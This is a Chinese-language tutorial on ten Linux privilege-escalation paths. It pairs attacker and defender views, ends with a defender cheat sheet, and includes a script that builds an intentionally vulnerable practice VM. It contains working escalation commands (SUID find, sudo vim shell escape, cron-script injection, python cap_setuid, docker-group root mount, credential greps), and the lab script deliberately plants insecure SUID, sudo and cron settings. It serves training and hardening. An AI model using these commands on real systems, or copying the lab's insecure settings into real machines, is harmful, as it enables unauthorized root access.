Linux 权限提升 10 招:从 SUID 到内核漏洞(附靶机)
文章目录
- 写在前面
- 提前 5 分钟情报收集
- 第 1 招:SUID / SGID 二进制滥用
- 第 2 招:sudo 配置不当(NOPASSWD / 危险命令)
- 第 3 招:定时任务与可写脚本(Cron)
- 第 4 招:Linux Capabilities(比 SUID 更隐蔽)
- 第 5 招:敏感文件里的凭据(历史、配置、备份)
- 第 6 招:PATH 劫持与可写目录抢先执行
- 第 7 招:NFS `no_root_squash` 与共享权限错误
- 第 8 招:用户组与容器边界(docker / lxd / disk)
- 第 9 招:内核漏洞(Dirty Pipe / Dirty Cow 一类)
- 第 10 招:共享库劫持与动态链接投毒(LD_LIBRARY_PATH / RPATH)
- 十条路径怎么串成一条攻击链(示例)
- 附:本地靶机(一键布置「故意脆弱」环境)
- 防守者速查表
写在前面
拿到低权限 shell 之后,真正拉开差距的往往不是「会不会打点」,而是能不能在有限时间内把权限抬到 root。本文按实战顺序整理10 条最常见的 Linux 提权路径,每条都给:
- 攻击者视角:怎么发现、怎么利用(概念 + 命令级手法)
- 防守者视角:怎么查、怎么修
- 靶机:文末给一套可本地一键布置的「故意脆弱」环境,供你合法演练
仅限你自己拥有或已获书面授权的系统。内核漏洞章节只讲原理、CVE 线索与防护,不提供可利用 PoC。
提前 5 分钟情报收集
先别急着搜 exploit,先把画像画清楚:
id;whoamiuname-acat/etc/os-releasesudo-l2>/dev/nullfind/-perm-4000-typef2>/dev/null getcap-r/2>/dev/nullenv;echo$PATHcat/etc/crontab;ls-la/etc/cron.*psauxfls-la/opt /var/www /home2>/dev/null工具向:linpeas.sh、pspy(看定时/短生命周期进程)、GTFOBins(查合法二进制滥用方式)。下面 10 招,基本都能被这些输出点亮。
第 1 招:SUID / SGID 二进制滥用
原理
带 SUID 的程序以文件所有者身份运行。若所有者是 root,且该程序能读文件、写文件、开 shell 或执行命令,就可能提权。
发现
find/-perm-4000-typef2>/dev/null# 重点看非常见项:vim、find、python、nmap、bash、env、less...利用思路(以find为例)
# 若 find 带 SUID(错误配置)find.-exec/bin/sh-p\;对照 GTFOBins:查每个异常 SUID 的 “SUID” 条目,而不是自己瞎猜参数。
防守
# 盘点并去掉不必要的 SUIDchmodu-s /path/to/binary# 白名单管理:只保留 passwd、sudo、ping 等确需项第 2 招:sudo 配置不当(NOPASSWD / 危险命令)
原理sudo -l若显示可无密码执行 vim、less、find、python、ALL,几乎等于半个 root。
发现
sudo-l# 典型危险:# (ALL) NOPASSWD: /usr/bin/vim# (ALL) NOPASSWD: /usr/bin/find# (root) NOPASSWD: /bin/systemctl利用思路
sudovim-c':!/bin/sh'# 或sudoless/etc/profile# less 内执行 !shsystemctl、apt、dpkg、管道到 shell 的脚本,都是高危 sudo 规则。
防守
- 最小权限:只授权具体脚本,不授权解释器
- 脚本本身不可被普通用户写
- 避免
NOPASSWD;必须用时配合Defaults审计与命令参数限制(sudoers中的参数白名单)
第 3 招:定时任务与可写脚本(Cron)
原理
root 的 cron 若调用了「普通用户可写」的脚本,或 PATH 可被劫持,下一分钟就可能变成 root 会话。
发现
cat/etc/crontabls-la/etc/cron.* /var/spool/cron2>/dev/null# 对脚本做写权限检查ls-la/usr/local/bin/backup.sh配合pspy观察:即使 crontab 文件你读不到,短时 root 进程仍可能暴露自定义脚本路径。
利用思路
# 若 backup.sh 对你可写echo'chmod u+s /bin/bash'>>/usr/local/bin/backup.sh# 等待 cron 执行后/bin/bash-p防守
- cron 脚本属主 root,权限
750或更严,目录不可被他人写 - 脚本内使用绝对路径,避免依赖可被污染的
PATH - 关键任务用 systemd timer +
ProtectSystem=等加固
第 4 招:Linux Capabilities(比 SUID 更隐蔽)
原理
Capabilities 把 root 能力拆细。cap_setuid、cap_dac_read_search、cap_sys_admin等一旦赋给解释器,危害不亚于 SUID。
发现
getcap-r/2>/dev/null# 危险示例:# /usr/bin/python3.10 = cap_setuid+ep利用思路
/usr/bin/python3.10-c'import os; os.setuid(0); os.system("/bin/bash")'防守
# 移除不必要 capabilitysetcap-r/usr/bin/python3.10# 用 getcap 纳入基线巡检(可并入上篇 CIS 脚本)第 5 招:敏感文件里的凭据(历史、配置、备份)
原理
提权不一定靠漏洞,靠「密码」。.bash_history、.env、wp-config.php、数据库备份、Ansible vault 误提交,都是捷径。
发现
grep-RniE'pass(word)?|pwd|secret|token|aws_|\.pem'/home /var/www /opt2>/dev/null|headls-la~/.bash_history /home/*/.bash_history2>/dev/nullfind/-name'*.bak'-o-name'*id_rsa*'2>/dev/null|head利用思路
找到明文 → 横向到其他用户 →su/ SSH 私钥登录 → 再对更高权限用户做第 2、3 招。
防守
- 禁止在 shell 历史中留密码;生产禁用
HISTFILE存敏感命令 - 密钥权限
600,私钥不进 Web 目录 - 配置扫描进 CI,杜绝密钥入库
第 6 招:PATH 劫持与可写目录抢先执行
原理
若 root 脚本这样写:
# 糟糕示例cd/tmpservice_name=foo# 未写绝对路径update_cache而/tmp在 PATH 前部,或当前目录可写且脚本用相对命令名,攻击者可放置同名恶意程序。
发现
echo"$PATH"# 检查 root 脚本是否调用无绝对路径命令grep-RnE'^\s*[a-zA-Z0-9_]+\s'/usr/local/bin/*.sh2>/dev/null# 可写目录是否插在 PATH 前面find/-writable-typed2>/dev/null|head防守
- 所有管理脚本使用
/usr/bin/cmd绝对路径 - 系统账户 PATH 不含
.与全局可写目录 /tmp、/var/tmp挂载noexec,nosuid(见 CIS 基线)
第 7 招:NFSno_root_squash与共享权限错误
原理
NFS 导出若带no_root_squash,客户端 root 映射到服务端 root。攻击者若能挂载该共享,可在共享内放置 SUID bash。
发现(服务端)
cat/etc/exports# 危险:/tmp/share *(rw,no_root_squash)showmount-e<target>利用思路(概念)
在授权靶机上:挂载共享 → 复制 bash 并chmod +s→ 回到靶机执行 SUID shell。
(生产环境中这也是横向移动经典手法,务必在隔离实验网完成。)
防守
- 默认
root_squash - 导出目录最小权限,限制客户端 IP
- 能不用 NFS 就用更可控的对象存储/同步方案
第 8 招:用户组与容器边界(docker / lxd / disk)
原理
在docker组 ≈ 能挂载宿主机根目录 ≈ root。lxd/lxc组类似。对磁盘设备有写权限也能直接改系统文件。
发现
id# uid=1000(user) groups=1000(user),999(docker)ls-la/var/run/docker.sock利用思路(docker 组)
dockerrun-it--rm-v/:/mnt alpinechroot/mnt /bin/bash防守
- 普通运维不要进
docker组;改用 rootless docker 或细粒度授权 - 审计
docker.sock权限 - 容器逃逸另论:缺 seccomp/AppArmor、特权容器
--privileged都是放大器
第 9 招:内核漏洞(Dirty Pipe / Dirty Cow 一类)
原理
内核漏洞利用的是内存管理、权限检查或命名空间边界的缺陷,把低权限进程抬到 root,或改写受保护文件。历史上出名的有:
| 别名 | CVE(示例) | 特征 |
|---|---|---|
| Dirty Cow | CVE-2016-5195 | 古老但教学常见 |
| Dirty Pipe | CVE-2022-0847 | 影响特定内核版本区间 |
| PwnKit | CVE-2021-4034 | 严格说是 polkit,常与“本地提权全家桶”一起查 |
攻击者怎么判断「值不值得碰」
uname-rcat/etc/os-release# 再对照发行版安全公告:该版本是否仍受影响、是否已打补丁本文刻意不提供 exploit / PoC。原因很简单:内核利用对稳定性与版本绑定极强,随手跑公开 exploit 轻则机器崩溃,重则踩法律红线。授权评估请用:
- 发行商安全公告与
rpm -q --changelog/apt changelog - 厂商或合规扫描器的本地提权检测
- 官方修复包验证
防守(最有效)
- 及时打内核与 polkit 补丁(比任何“加固技巧”都重要)
- 减少攻击面:关不用的 SUID、收紧 sudo、开 SELinux/AppArmor
- 生产开启
livepatch(Ubuntu Advantage / kpatch 等)缩短窗口 - 监控异常:短时间内出现新的 SUID、 Unexpected root shell、审计日志里的
execve尖刺
第 10 招:共享库劫持与动态链接投毒(LD_LIBRARY_PATH / RPATH)
原理
若 root 执行的程序从「用户可写目录」加载.so,或错误配置了RPATH/LD_LIBRARY_PATH,攻击者可投放恶意库,在程序启动时执行代码。
发现
# 对可疑 SUID/root 守护进程ldd /usr/local/bin/some_root_svc readelf-d/usr/local/bin/some_root_svc|grep-E'RPATH|RUNPATH'# 看是否指向 /home、/tmp、/opt/world-writable利用思路(概念)
在可写库路径放置同名.so,构造constructor或挂钩函数,等待 root 进程加载。
(具体恶意库编写属于武器化内容,靶场请用课程方提供的示意库,勿在非授权环境试验。)
防守
- 禁止 root 服务依赖用户可写库路径
- 清除危险
LD_LIBRARY_PATH;打包时审RPATH - 开启 AppArmor/SELinux 限制库加载路径
十条路径怎么串成一条攻击链(示例)
一次真实演练常见组合:
- Web 漏洞拿到
www-data - 在
/var/www备份里读到数据库密码(第 5 招) - 密码复用登录普通用户(第 5 招)
sudo -l发现可跑find(第 2 招)→ root
或:www-data→ 可写 cron 脚本(第 3 招)→ root → 再评估内核是否过期(第 9 招,防守侧补洞)。
提权的本质是:错误配置的优先级,通常高于漏洞利用。
附:本地靶机(一键布置「故意脆弱」环境)
下面脚本在全新 Ubuntu 22.04 虚拟机里制造多处提权点,对应本文第 1–4、6、8 招。请用 VirtualBox/VMware/UTM 快照,不要装在个人主力机或生产机。
#!/usr/bin/env bash# setup_privesc_lab.sh —— 仅用于本地授权靶机# 用法:在 Ubuntu 22.04 VM 上 sudo bash setup_privesc_lab.shset-euopipefail[[$EUID-eq0]]||{echo"请用 root 执行";exit1;}LAB_USER="${LAB_USER:-trainee}"LAB_PASS="${LAB_PASS:-Trainee@Lab}"id"$LAB_USER"&>/dev/null||useradd-m-s/bin/bash"$LAB_USER"echo"${LAB_USER}:${LAB_PASS}"|chpasswd# --- 招1:危险 SUID find(教学用,极不安全)---cp/usr/bin/find /usr/local/bin/lab-findchmodu+s /usr/local/bin/lab-find# --- 招2:sudo NOPASSWD vim ---echo"${LAB_USER}ALL=(ALL) NOPASSWD: /usr/bin/vim">/etc/sudoers.d/lab-vimchmod440/etc/sudoers.d/lab-vim# --- 招3:root cron + 可写脚本 ---cat>/usr/local/bin/lab-backup.sh<<'EOF' #!/bin/bash echo "lab backup ran at $(date)" >> /var/log/lab-backup.log EOFchmod777/usr/local/bin/lab-backup.sh# 故意可写echo"* * * * * root /usr/local/bin/lab-backup.sh">/etc/cron.d/lab-backupchmod644/etc/cron.d/lab-backup# --- 招4:python3 赋予 cap_setuid(若 setcap 可用)---ifcommand-vsetcap>/dev/null&&[[-x/usr/bin/python3]];thensetcap cap_setuid+ep /usr/bin/python3||truefi# --- 招5:家目录留一份「假密钥」---sudo-u"$LAB_USER"bash-c'echo "DB_PASSWORD=SuperSecret123" > "$HOME/.env"; chmod 644 "$HOME/.env"'# --- 招6:PATH 陷阱目录 ---mkdir-p/opt/lab/binchmod777/opt/lab/binecho"export PATH=/opt/lab/bin:\$PATH">>"/home/${LAB_USER}/.bashrc"# --- 招8:把用户塞进 docker 组(若已装 docker)---ifgetent groupdocker>/dev/null;thenusermod-aGdocker"$LAB_USER"ficat<<EOF ======================================== Linux 提权靶机就绪 ======================================== SSH/本地登录:${LAB_USER}/${LAB_PASS}建议快照名 : pre-privesc-lab 练习目标(任选其一拿到 root): 1) SUID: /usr/local/bin/lab-find 2) sudo vim NOPASSWD 3) 可写 cron: /usr/local/bin/lab-backup.sh 4) python3 capabilities(若 setcap 成功) 5) 读 ~/.env 练习凭据思维 8) docker 组(需自行安装 docker) 练习结束后请销毁 VM 或回滚快照。 ======================================== EOF推荐练习顺序
- 快照 → 以
trainee登录 - 不用外挂工具,先手写枚举
- 每打通一招,记一条对应加固措施
- 全部打通后,把上篇《CIS 一键核查脚本》拿来扫这台靶机——你会同时看到「攻」与「防」的镜像关系
可选第三方靶场(授权平台,适合进阶):TryHackMe《Linux PrivEsc》、HackTheBox 起始靶机、VulnHub 经典机(如Lin.Security)。内核类请优先用平台提供的受控关卡,不要对随机公网主机扫 CVE。
防守者速查表
| 招数 | 一句话防御 |
|---|---|
| SUID | 减到最少,异常项进基线 |
| sudo | 禁解释器,脚本不可写 |
| Cron | 脚本属主/权限/绝对路径 |
| Capabilities | getcap -r /定期扫 |
| 凭据残留 | 密钥扫描 + 权限 600 |
| PATH | 绝对路径,禁可写目录前置 |
| NFS | root_squash+ IP 限制 |
| Docker 组 | 当 root 管,宁缺毋滥 |
| 内核漏洞 | 补丁与 livepatch |
| 库劫持 | 审 RPATH,加固 MAC |
结语:Linux 提权从不是玄学:枚举 → 匹配已知错误配置 → 稳定利用 → 留痕与清理(红队)/ 固化基线(蓝队)。
